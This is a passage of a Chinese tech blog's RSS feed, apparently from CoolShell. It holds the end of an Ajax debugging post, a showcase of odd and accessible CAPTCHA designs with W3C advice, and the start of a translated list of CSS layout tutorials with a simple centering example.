<p style="padding-left: 30px;">1）这个问题网上有很多人都在报，但是基本上找不到答案（包括StackOverflow），所以，我分享出来，填补一下空白。</p>
<p style="padding-left: 30px;">2）我相信我们的程序员天天都在经历这样的事，我不知道大家在遇到这样的事情会怎么做？也许大多数人都在网上查各种解决方案，然后一个一个的试，直到试对了——散弹枪式的编程，呵呵。当然，大多数答案都是可能找到的。但<strong>当我们找到答案了后，我们还会深入去了解这个问题的具体原因并举一反三地去思考一其周边的东西吗</strong>？</p>
<p style="padding-left: 30px;">3）另外，在今天这样N多框架，N多lib，N多开源的年代下，<strong>不知道大家有没有失去了从零开始自己写代码的能力？</strong>比如上面的这个问题，不知道有多少人还会自己写原生态的Ajax？不过，我还是建议大家能在使用各种框架的时候，明白那些最基础的知识，求甚解，知其然知其所以然，真的很重要。</p>
<p>我是从那个“吃糠的年代”过来的程序员，那时的程序员什么都要自己干，很辛苦，今天我和很多人说我以前的那些经历，会被笑话，但是我从这些什么都自己的干的年代过的经历，让我受益很多。我把我的想法分享给大家，希望对大家有用。</p>
<p>(全文完)<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/18360.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg" alt="程序员练级攻略（2018)  与我的专栏" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18360.html" class="wp_rp_title">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href="https://coolshell.cn/articles/7186.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/04/Green-Computing-150x150.jpg" alt="做个环保主义的程序员" width="150" height="150" /></a><a href="https://coolshell.cn/articles/7186.html" class="wp_rp_title">做个环保主义的程序员</a></li><li ><a href="https://coolshell.cn/articles/5815.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg" alt="来信， 创业 和 移动互联网" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5815.html" class="wp_rp_title">来信， 创业 和 移动互联网</a></li><li ><a href="https://coolshell.cn/articles/4990.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2011/07/programmer-150x150.png" alt="程序员技术练级攻略" width="150" height="150" /></a><a href="https://coolshell.cn/articles/4990.html" class="wp_rp_title">程序员技术练级攻略</a></li><li ><a href="https://coolshell.cn/articles/3013.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg" alt="一些非常有意思的杂项资源" width="150" height="150" /></a><a href="https://coolshell.cn/articles/3013.html" class="wp_rp_title">一些非常有意思的杂项资源</a></li><li ><a href="https://coolshell.cn/articles/22298.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png" alt="聊聊团队协同和协同工具" width="150" height="150" /></a><a href="https://coolshell.cn/articles/22298.html" class="wp_rp_title">聊聊团队协同和协同工具</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/8170.html">一次Ajax查错的经历</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/8170.html/feed</wfw:commentRss>
			<slash:comments>93</slash:comments>
		
		
			</item>
		<item>
		<title>各式各样的验证码</title>
		<link>https://coolshell.cn/articles/7917.html</link>
					<comments>https://coolshell.cn/articles/7917.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Thu, 19 Jul 2012 00:32:09 +0000</pubDate>
				<category><![CDATA[Web开发]]></category>
		<category><![CDATA[杂项资源]]></category>
		<category><![CDATA[轶事趣闻]]></category>
		<category><![CDATA[Captcha]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[验证码]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=7917</guid>

					<description><![CDATA[<p>还记得以前那篇《超强验证码》？其实这个世界变态的验证码还有很多，下面是一个列表向像展示了各种稀奇古怪的验证码。不过本文并不单单只是收集这验证码，前面的比较恶搞，...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/7917.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/7917.html">各式各样的验证码</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script>还记得以前那篇《<a title="超强的验证码" href="https://coolshell.cn/articles/3277.html" target="_blank">超强验证码</a>》？其实这个世界变态的验证码还有很多，下面是一个列表向像展示了各种稀奇古怪的验证码。不过本文并不单单只是收集这验证码，前面的比较恶搞，后面的会向你展示什么是有accessibility验证码。</p>
<h4>完全看不清楚的</h4>
<p>这是人类的字符吗？</p>
<p style="text-align: center;"><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7920" src="https://coolshell.cn/wp-content/uploads/2012/07/0.jpg" alt="" width="543" height="358" srcset="https://coolshell.cn/wp-content/uploads/2012/07/0.jpg 543w, https://coolshell.cn/wp-content/uploads/2012/07/0-300x198.jpg 300w, https://coolshell.cn/wp-content/uploads/2012/07/0-410x270.jpg 410w" sizes="(max-width: 543px) 100vw, 543px" /></p>
<p style="text-align: left;">图案中的字母是什么？</p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/07/7.jpg" alt="" width="409" height="472" /></p>
<p><span id="more-7917"></span></p>
<p>这也够奇葩的了。</p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/07/4.jpg" alt="" width="454" height="438" /></p>
<h4 style="text-align: left;">看得清但令人抓狂的</h4>
<p><a href="https://coolshell.cn/wp-content/uploads/2012/07/2.jpg"><img decoding="async" loading="lazy" class="aligncenter" title="2" src="https://coolshell.cn/wp-content/uploads/2012/07/2.jpg" alt="" width="480" height="322" /></a><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/07/3.jpg" alt="" width="510" height="302" /></p>
<h4><a href="https://coolshell.cn/wp-content/uploads/2012/07/1.jpg"><br />
</a> <a href="https://coolshell.cn/wp-content/uploads/2012/07/2.jpg"><br />
</a>数学公式的</h4>
<p>如果你填对了，你是人类吗？</p>
<p><a href="https://coolshell.cn/wp-content/uploads/2012/07/4.jpg"><br />
<img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/07/5.jpg" alt="" width="469" height="273" /></a></p>
<p><a href="https://coolshell.cn/wp-content/uploads/2012/07/7.jpg"><br />
</a> <img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7928" src="https://coolshell.cn/wp-content/uploads/2012/07/8.jpg" alt="" width="526" height="293" srcset="https://coolshell.cn/wp-content/uploads/2012/07/8.jpg 526w, https://coolshell.cn/wp-content/uploads/2012/07/8-300x167.jpg 300w" sizes="(max-width: 526px) 100vw, 526px" /></p>
<h4 style="text-align: left;">智力题</h4>
<p style="text-align: center;"><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/07/1.jpg" alt="" width="511" height="440" /></p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/07/worstcaptchaever.jpg" alt="" width="552" height="283" /></p>
<p style="text-align: center;"><a href="https://coolshell.cn/wp-content/uploads/2012/07/9.jpg"><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7929" src="https://coolshell.cn/wp-content/uploads/2012/07/9.jpg" alt="" width="444" height="257" srcset="https://coolshell.cn/wp-content/uploads/2012/07/9.jpg 444w, https://coolshell.cn/wp-content/uploads/2012/07/9-300x173.jpg 300w" sizes="(max-width: 444px) 100vw, 444px" /></a></p>
<h4>你的审美水平正常吗？</h4>
<p style="text-align: center;"><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/07/6.jpg" alt="" width="596" height="474" /></p>
<h4>你懂盲文吗？</h4>
<p><a href="https://coolshell.cn/wp-content/uploads/2012/07/a438_c13.jpg"><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7930" title="a438_c13" src="https://coolshell.cn/wp-content/uploads/2012/07/a438_c13.jpg" alt="" width="346" height="60" srcset="https://coolshell.cn/wp-content/uploads/2012/07/a438_c13.jpg 346w, https://coolshell.cn/wp-content/uploads/2012/07/a438_c13-300x52.jpg 300w" sizes="(max-width: 346px) 100vw, 346px" /></a></p>
<h4>ASCII图片式</h4>
<p><img decoding="async" loading="lazy" class="aligncenter" title="filter_8cd6a950-a3ba-42a1-ac47-6d4c8276e6e5" src="https://coolshell.cn/wp-content/uploads/2012/07/filter_8cd6a950-a3ba-42a1-ac47-6d4c8276e6e5.jpg" alt="" width="452" height="548" /></p>
<h4 style="text-align: left;"></h4>
<h4></h4>
<h4>怎么验证一个人是否成年</h4>
<p style="text-align: center;"><a href="https://coolshell.cn/wp-content/uploads/2012/07/filter_8cd6a950-a3ba-42a1-ac47-6d4c8276e6e5.jpg"><br />
</a> <img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7933" title="main-qimg-33024dad8ca5f5b9c37e3894d60ac8a1" src="https://coolshell.cn/wp-content/uploads/2012/07/main-qimg-33024dad8ca5f5b9c37e3894d60ac8a1.jpg" alt="" width="640" height="366" srcset="https://coolshell.cn/wp-content/uploads/2012/07/main-qimg-33024dad8ca5f5b9c37e3894d60ac8a1.jpg 640w, https://coolshell.cn/wp-content/uploads/2012/07/main-qimg-33024dad8ca5f5b9c37e3894d60ac8a1-300x171.jpg 300w" sizes="(max-width: 640px) 100vw, 640px" /></p>
<h4>3D验证码</h4>
<p>通个这个脚本自动生成的：<a href="http://ocr-research.org.ua/tb/getimage.php5" target="_blank">http://ocr-research.org.ua/tb/getimage.php5</a></p>
<p><a href="http://ocr-research.org.ua/tb/getimage.php5"><img decoding="async" class="aligncenter" title="http://ocr-research.org.ua/tb/getimage.php5" src="http://ocr-research.org.ua/tb/getimage.php5" alt="http://ocr-research.org.ua/tb/getimage.php5" /></a></p>
<h4></h4>
<h4>reCaptcha</h4>
<p>相信大家都知道reCAPTCHA下了一盘很大的棋，它让你在输验证码的时候还帮着还原书籍中那些很难被OCR识别的单词。其有两组验证码，一组是可以被电脑识别的，另一组是不能被电脑识别的（也就是让人来帮电脑识别的），如果你第一组答对了，就会被 认为是人工操作，于是你回答的第二组就会成为人肉OCR。</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7947" title="reCAPTCHA" src="https://coolshell.cn/wp-content/uploads/2012/07/reCAPTCHA.png" alt="" width="255" height="101" /></p>
<p>它最近又将增加一项新功能：显示Google地图上的街景地址和名称。这样从地图上的街景中提取街道地址和名称以及交通标志等数据，以完善Google地图上的信息。</p>
<p style="text-align: center;"><img decoding="async" loading="lazy" class="aligncenter  wp-image-7948" title="recaptcha-map" src="https://coolshell.cn/wp-content/uploads/2012/07/recaptcha-map.jpg" alt="" width="488" height="237" srcset="https://coolshell.cn/wp-content/uploads/2012/07/recaptcha-map.jpg 1017w, https://coolshell.cn/wp-content/uploads/2012/07/recaptcha-map-300x145.jpg 300w" sizes="(max-width: 488px) 100vw, 488px" /></p>
<h4>Facebook的人脸识别验证码</h4>
<p>你觉得有创意吗?</p>
<p><img decoding="async" loading="lazy" class="aligncenter" title="facebook" src="https://coolshell.cn/wp-content/uploads/2012/07/facebook.jpg" alt="" width="574" height="356" /></p>
<h4><a href="http://research.microsoft.com/en-us/um/redmond/projects/asirra/" target="_blank">微软的ASIRRA</a></h4>
<p style="text-align: center;"><a href="http://research.microsoft.com/en-us/um/redmond/projects/asirra/"><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7935" title="ASIRRA   Microsoft Research" src="https://coolshell.cn/wp-content/uploads/2012/07/ASIRRA-Microsoft-Research.png" alt="" width="501" height="210" srcset="https://coolshell.cn/wp-content/uploads/2012/07/ASIRRA-Microsoft-Research.png 501w, https://coolshell.cn/wp-content/uploads/2012/07/ASIRRA-Microsoft-Research-300x125.png 300w" sizes="(max-width: 501px) 100vw, 501px" /></a></p>
<h4><a href="http://accessibiliteweb.com/stuff/captcha-slider.html" target="_blank">DISTCHA</a></h4>
<p>通过像iPhone/iPad开启时滑动的样式来验证。</p>
<p style="text-align: center;"><a href="http://accessibiliteweb.com/stuff/captcha-slider.html"><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7936" title="DISTCHA  - an accessible CAPTCHA slider   v0.2" src="https://coolshell.cn/wp-content/uploads/2012/07/DISTCHA-an-accessible-CAPTCHA-slider-v0.2.png" alt="" width="521" height="271" srcset="https://coolshell.cn/wp-content/uploads/2012/07/DISTCHA-an-accessible-CAPTCHA-slider-v0.2.png 521w, https://coolshell.cn/wp-content/uploads/2012/07/DISTCHA-an-accessible-CAPTCHA-slider-v0.2-300x156.png 300w" sizes="(max-width: 521px) 100vw, 521px" /></a></p>
<h4><a title="MotionCAPTCHA jQuery plugin" href="http://josscrowcroft.com/projects/motioncaptcha-jquery-plugin/" target="_blank">MotionCAPTCHA</a></h4>
<p>用鼠标来画个画。</p>
<p><a href="http://josscrowcroft.com/projects/motioncaptcha-jquery-plugin/"><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7937" title="MotionCAPTCHA - Joss Crowcroft" src="https://coolshell.cn/wp-content/uploads/2012/07/MotionCAPTCHA-Joss-Crowcroft.png" alt="" width="422" height="305" srcset="https://coolshell.cn/wp-content/uploads/2012/07/MotionCAPTCHA-Joss-Crowcroft.png 422w, https://coolshell.cn/wp-content/uploads/2012/07/MotionCAPTCHA-Joss-Crowcroft-300x216.png 300w" sizes="(max-width: 422px) 100vw, 422px" /></a></p>
<h4><a href="http://sitehelp.com.au/demos/dragcaptcha.php" target="_blank">siteHelp的DragCapCha</a></h4>
<p>为下面的字母排个序吧</p>
<p><a href="http://sitehelp.com.au/demos/dragcaptcha.php"><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7938" title="Site Help - DragCaptcha" src="https://coolshell.cn/wp-content/uploads/2012/07/Site-Help-DragCaptcha.png" alt="" width="590" height="186" srcset="https://coolshell.cn/wp-content/uploads/2012/07/Site-Help-DragCaptcha.png 590w, https://coolshell.cn/wp-content/uploads/2012/07/Site-Help-DragCaptcha-300x94.png 300w" sizes="(max-width: 590px) 100vw, 590px" /></a></p>
<h4>jQuery 验证码插件</h4>
<h5><a href="http://serie3.info/s3capcha/demonstration.php" target="_blank">jQuery s3Capcha 插件</a></h5>
<p><a href="http://serie3.info/s3capcha/demonstration.php"><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7939" title="s3Capcha jQuery plugin" src="https://coolshell.cn/wp-content/uploads/2012/07/s3Capcha-jQuery-plugin.png" alt="" width="346" height="163" srcset="https://coolshell.cn/wp-content/uploads/2012/07/s3Capcha-jQuery-plugin.png 346w, https://coolshell.cn/wp-content/uploads/2012/07/s3Capcha-jQuery-plugin-300x141.png 300w" sizes="(max-width: 346px) 100vw, 346px" /></a></p>
<h5><a href="http://www.webdesignbeach.com/beachbar/ajax-fancy-captcha-jquery-plugin" target="_blank">Ajax Fancy Captcha</a></h5>
<p>和上面那个不一样，这个需要拖动</p>
<p><a href="http://www.webdesignbeach.com/beachbar/ajax-fancy-captcha-jquery-plugin"><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7940" title="Ajax Fancy Captcha   jQuery plugin" src="https://coolshell.cn/wp-content/uploads/2012/07/Ajax-Fancy-Captcha-jQuery-plugin.png" alt="" width="342" height="132" srcset="https://coolshell.cn/wp-content/uploads/2012/07/Ajax-Fancy-Captcha-jQuery-plugin.png 342w, https://coolshell.cn/wp-content/uploads/2012/07/Ajax-Fancy-Captcha-jQuery-plugin-300x115.png 300w" sizes="(max-width: 342px) 100vw, 342px" /></a></p>
<h5><a href="http://www.wozia.pt/blog/wcaptcha-a-better-captcha-alternative-jquery-captcha-plugin/" target="_blank">wCaptcha</a></h5>
<p>和上面的很相似。</p>
<p><a href="http://www.wozia.pt/blog/wcaptcha-a-better-captcha-alternative-jquery-captcha-plugin/"><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7943" title="wcaptcha" src="https://coolshell.cn/wp-content/uploads/2012/07/wcaptcha-1.png" alt="" width="332" height="127" srcset="https://coolshell.cn/wp-content/uploads/2012/07/wcaptcha-1.png 332w, https://coolshell.cn/wp-content/uploads/2012/07/wcaptcha-1-300x114.png 300w" sizes="(max-width: 332px) 100vw, 332px" /></a></p>
<h4><a href="http://www.picatcha.com/captcha/" target="_blank">Picatcha</a></h4>
<p>挑出所有的计算器</p>
<p><a href="http://www.picatcha.com/captcha/"><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7941" title="PICATCHA" src="https://coolshell.cn/wp-content/uploads/2012/07/PICATCHA.png" alt="" width="366" height="307" srcset="https://coolshell.cn/wp-content/uploads/2012/07/PICATCHA.png 366w, https://coolshell.cn/wp-content/uploads/2012/07/PICATCHA-300x251.png 300w" sizes="(max-width: 366px) 100vw, 366px" /></a></p>
<h4><a href="http://yocaptcha.com/" target="_blank">yoCaptcha</a></h4>
<p>广告式的验证码</p>
<p><a href="http://yocaptcha.com/"><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7942" title="yoCaptcha" src="https://coolshell.cn/wp-content/uploads/2012/07/yoCaptcha.png" alt="" width="346" height="239" srcset="https://coolshell.cn/wp-content/uploads/2012/07/yoCaptcha.png 346w, https://coolshell.cn/wp-content/uploads/2012/07/yoCaptcha-300x207.png 300w" sizes="(max-width: 346px) 100vw, 346px" /></a></p>
<h4>W3C的建议</h4>
<p>W3C的这篇文章（<a href="http://www.w3.org/TR/turingtest/">http://www.w3.org/TR/turingtest/</a>）表达了传统的验证码图片的Inaccessibility的问题，而且一些验证码都很容易被破解。如：</p>
<ul>
<li><a href="http://www.brains-n-brawn.com/default.aspx?vDir=aicaptcha">aiCaptcha: Using AI to beat CAPTCHA and post comment spam</a></li>
<li><a href="http://www.cs.berkeley.edu/~mori/gimpy/gimpy.html">Breaking CAPTCHAs Without Using OCR</a></li>
<li><a href="http://sam.zoy.org/pwntcha/">PWNtcha &#8211; CAPTCHA decoder</a></li>
</ul>
<p>W3C也给了一些解决方案：</p>
<ul>
<li>一些逻辑题或是智力题。</li>
<li>声音输出，为了照顾残疾人。 <a href="http://news.com.com/2100-1032-1022814.html">Spam-bot tests flunk the blind</a></li>
<li>限制帐号的操作次数。</li>
<li>使用现有的Spam检测机制。如：酷壳（Coolshell.cn）的评论没有验证码，垃圾评论完全靠<a href="http://akismet.com/" target="_blank">Akismet</a> 插件过滤。</li>
</ul>
<p>建议你移步去看看这篇文章。</p>
<p>（全文完）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/3277.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg" alt="超强的验证码" width="150" height="150" /></a><a href="https://coolshell.cn/articles/3277.html" class="wp_rp_title">超强的验证码</a></li><li ><a href="https://coolshell.cn/articles/18360.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg" alt="程序员练级攻略（2018)  与我的专栏" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18360.html" class="wp_rp_title">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png" alt="如何免费的让网站启用HTTPS" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_title">如何免费的让网站启用HTTPS</a></li><li ><a href="https://coolshell.cn/articles/12225.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-150x150.jpg" alt="DHH 谈混合移动应用开发" width="150" height="150" /></a><a href="https://coolshell.cn/articles/12225.html" class="wp_rp_title">DHH 谈混合移动应用开发</a></li><li ><a href="https://coolshell.cn/articles/12206.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/12/html6-150x150.jpeg" alt="HTML6 展望" width="150" height="150" /></a><a href="https://coolshell.cn/articles/12206.html" class="wp_rp_title">HTML6 展望</a></li><li ><a href="https://coolshell.cn/articles/12136.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg" alt="Google Inbox如何跨平台重用代码？" width="150" height="150" /></a><a href="https://coolshell.cn/articles/12136.html" class="wp_rp_title">Google Inbox如何跨平台重用代码？</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/7917.html">各式各样的验证码</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/7917.html/feed</wfw:commentRss>
			<slash:comments>64</slash:comments>
		
		
			</item>
		<item>
		<title>CSS 布局:40个教程、技巧、例子和最佳实践</title>
		<link>https://coolshell.cn/articles/6840.html</link>
					<comments>https://coolshell.cn/articles/6840.html#comments</comments>
		
		<dc:creator><![CDATA[Neo]]></dc:creator>
		<pubDate>Mon, 19 Mar 2012 00:25:46 +0000</pubDate>
				<category><![CDATA[Web开发]]></category>
		<category><![CDATA[杂项资源]]></category>
		<category><![CDATA[编程语言]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Web]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=6840</guid>

					<description><![CDATA[<p>【感谢 Neo 投递本文 – 微博帐号：_锟_ 】 前言： 布局是WEB开发一个重要的课题，进入XHTML/CSS后，使用TABLE布局的方式逐渐淡出，CSS布...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/6840.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/6840.html">CSS 布局:40个教程、技巧、例子和最佳实践</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script>【<span style="color: #cc0000;">感谢 Neo 投递本文 – 微博帐号</span>：<a title="_锟_" href="http://weibo.com/gandalfthegrey" target="_blank">_锟_</a> 】</p>
<p><strong>前言：</strong> 布局是WEB开发一个重要的课题，进入XHTML/CSS后，使用TABLE布局的方式逐渐淡出，CSS布局以众多优点成为主流，本文将介绍40个基于CSS的web布局的资源和教程。文章的出处在<a href="http://www.noupe.com/css/css-layouts-40-tutorials-tips-demos-and-best-practices.html" target="_blank">http://www.noupe.com/css/css-layouts-40-tutorials-tips-demos-and-best-practices.html</a>。文中的不少的例子在一本经典的CSS书籍<a href="http://shop.oreilly.com/product/9780596802455.do">《CCS: The Missing Manual, 2nd Edition》</a>中都可以找到，据我所知，第二版在中国没有翻译出版。你可以从<a href="http://www.itpub.net/forum.php?mod=viewthread&amp;tid=1210179&amp;highlight=CSS%2Bthe%2Bmissing%2Bmanual">这里</a>下载英文版（不过需要注册个用户名）</p>
<p><strong>正文</strong><br />
<strong>基于CSS的布局</strong>能提供更灵活布局方式和更强的用户视觉体验。一些重要技巧和关键点可以帮助初学者理解CSS布局的基础和本质。这也是本文成文的原因 ——找到那些完美的布局，<strong>完全灵活的，等高栏</strong>和工作完美的布局。<br />
因此下面这个列表就是我们整理了网络上关于基于CSS布局的一些技巧，教程和最佳实践的列表。<br />
当然你也可能对下面这些和CSS相关的主题有兴趣：</p>
<p><a href="http://www.noupe.com/css/9-timeless-3-column-layout-techniques.html&gt;9 Timeless 3 Column Layout Techniques&lt;/a&gt;&lt;/ui&gt;&lt;br /&gt; &lt;ui&gt;&lt;a href=">The 7 CSS Hacks that we should use</a><br />
<a href="http://www.noupe.com/css/using-css-to-do-anything-50-creative-examples-and-tutorials.html">Using CSS to Do Anything: 50+ Creative Examples and Tutorials</a><br />
<a href="http://www.noupe.com/css/using-css-to-fix-anything-20-common-bugs-and-fixes.html">Using CSS to Fix Anything: 20+ Common Bugs and Fixes</a></p>
<p><span id="more-6840"></span></p>
<h4><strong><span style="color: #008000;">CSS 布局教程</span></strong></h4>
<p>1-<a href="http://woork.blogspot.com/2008/01/three-column-fixed-layout-structure.html">使用CSS完成三栏固定布局结构</a>&#8211; 这篇文章解释了如何实现一个基于的HTML/CSS来设计一个简单的带有基本要素（顶部的logo条，导航条，文本区，定义分类的中部栏，右边侧栏插入google的120X600的广告区）的固定三栏页面布局。</p>
<p><img decoding="async" loading="lazy" class="size-full wp-image-6843 aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts.gif" alt="" width="450" height="297" /></p>
<p>2-<a href="http://woork.blogspot.com/2007/10/design-page-layout-using-css.html">使用CSS设计页面布局</a>&#8211; 如何使用CSS文件来为你的站点设计页面布局。<br />
<img decoding="async" loading="lazy" class="size-full wp-image-6844 aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts2.gif" alt="" width="450" height="200" /></p>
<p>3-<a href="http://css-tricks.com/how-to-create-a-horizontally-scrolling-site/">如何创建一个水平布局的站点</a>&#8211; 创建不同于常规的水平布局的站点技术（译者注：水平布局，客户体验也就仁者见仁了）</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-6845" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts3.gif" alt="" width="450" height="190" /><br />
例子<a href="http://css-tricks.com/examples/HorzScrolling">查看这里</a> |<a href="http://css-tricks.com/examples/HorzScrolling.zip">下载</a></p>
<p>4-<a href="http://css-tricks.com/super-simple-two-column-layout/">超级简单的两栏布局</a>&#8211; 创建不同于常规的水平布局的站点技术（译者注：这里是原作者笔误吧和上面的内容一样）.</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-6849" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts4.gif" alt="" width="450" height="100" /></p>
<p>例子<a href="http://css-tricks.com/examples/SuperSimpleTwoColumn">查看这里</a> <a href="http://css-tricks.com/examples/SuperSimpleTwoColumn.zip">下载</a></p>
<p>5-<a href="http://www.456bereastreet.com/lab/developing_with_web_standards/csslayout/2-col/">简单两栏CSS布局</a>&#8211; 这是一个创建简单两栏布局的教程。这种布局包含了一个标题区，一个水平导航条，主内容区，边侧栏，和页脚区。并且这个布局是水平居中的。</p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts6.gif" alt="" width="450" height="150" /></p>
<p>例子<a href="http://www.456bereastreet.com/lab/developing_with_web_standards/csslayout/2-col/finished.html">查看这里</a></p>
<p>6-<a href="http://dnevnikeklektika.com/en/the-holy-grail-layout-3-columns-and-a-lot-less-problems">圣杯布局(The holy grail layout)</a> – 3栏布局会有一些问题 ，这篇文章讨论了一种三栏布局——两栏固定宽度边侧栏加上一栏变宽中栏布局，保证了页面的良好结构和清晰。</p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts7.gif" alt="" width="450" height="362" /></p>
<p>例子<a href="http://dnevnikeklektika.com/css/3ColLayout/working.html">查看这里</a></p>
<p>7-<a href="http://www.simplebits.com/notebook/2004/09/08/centering.html">CSS居中101</a>&#8211; 如何使用CSS完成居中一个固定宽度的布局</p>
<p>使用CSS，通过下面两条规则完成对id为container的DIV所包含的内容居中</p>
<pre data-enlighter-language="html" class="EnlighterJSRAW">
&lt;body&gt;
 &lt;div id=&quot;container&quot;&gt; ...entire layout goes here...
&lt;/div&gt;
&lt;/body&gt;
</pre>
<pre data-enlighter-language="css" class="EnlighterJSRAW">
body {
    text-align: center;
}
#container {
    margin: 0 auto;
    width: xxxpx;
    text-align: left;
}
</pre>
<p>8-<a href="http://www.subcide.com/tutorials/csslayout/index.aspx">从头创建CSS布局</a>&#8211; 这个指南通过创建一个全功能的 CSS布局来一步步教你入门CSS布局。</p>
